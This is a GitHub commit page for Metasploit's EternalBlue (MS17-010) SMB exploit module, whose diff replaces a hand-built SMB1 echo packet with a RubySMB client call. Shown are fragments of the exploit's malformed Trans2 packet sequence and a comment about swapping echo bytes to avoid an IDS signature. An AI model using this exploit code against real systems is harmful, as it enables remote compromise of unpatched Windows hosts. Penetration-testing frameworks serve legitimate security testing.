Skip to content

Commit 238052a

Browse files
David MaloneyDavid Maloney
authored andcommitted
use RubySMB client echo
replaced the manually created echo packet with the RubySMB client echo command
1 parent 4ffe666 commit 238052a

File tree

1 file changed

+2
-32
lines changed

1 file changed

+2
-32
lines changed

modules/exploits/windows/smb/ms17_010_eternalblue.rb

Lines changed: 2 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -334,12 +334,12 @@ def smb1_large_buffer(client, tree, sock)
334334
trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)
335335
end
336336

337-
trans2_pkt_nulled << make_smb1_echo_packet(tree.id, client.user_id)
338-
339337
vprint_status("Sending malformed Trans2 packets")
340338
sock.put(trans2_pkt_nulled)
341339

342340
sock.get_once
341+
342+
client.echo(count:1, data: "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00")
343343
end
344344

345345
def smb1_free_hole(start)
@@ -434,36 +434,6 @@ def make_smb2_payload_body_packet(kernel_user_payload)
434434
pkt
435435
end
436436

437-
def make_smb1_echo_packet(tree_id, user_id)
438-
pkt = ""
439-
pkt << "\x00" # type
440-
pkt << "\x00\x00\x31" # len = 49
441-
pkt << "\xffSMB" # SMB1
442-
pkt << "\x2b" # Echo
443-
pkt << "\x00\x00\x00\x00" # Success
444-
pkt << "\x18" # flags
445-
pkt << "\x07\xc0" # flags2
446-
pkt << "\x00\x00" # PID High
447-
pkt << "\x00\x00\x00\x00" # Signature1
448-
pkt << "\x00\x00\x00\x00" # Signature2
449-
pkt << "\x00\x00" # Reserved
450-
pkt << [tree_id].pack("S>") # Tree ID
451-
pkt << "\xff\xfe" # PID
452-
pkt << [user_id].pack("S>") # UserID
453-
pkt << "\x40\x00" # MultiplexIDs
454-
455-
pkt << "\x01" # Word count
456-
pkt << "\x01\x00" # Echo count
457-
pkt << "\x0c\x00" # Byte count
458-
459-
# echo data
460-
# this is an existing IDS signature, and can be nulled out
461-
#pkt << "\x4a\x6c\x4a\x6d\x49\x68\x43\x6c\x42\x73\x72\x00"
462-
pkt << "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00"
463-
464-
pkt
465-
end
466-
467437
# Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit
468438
def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
469439
timeout = (timeout * 0x10) + 3

0 commit comments

Comments
 (0)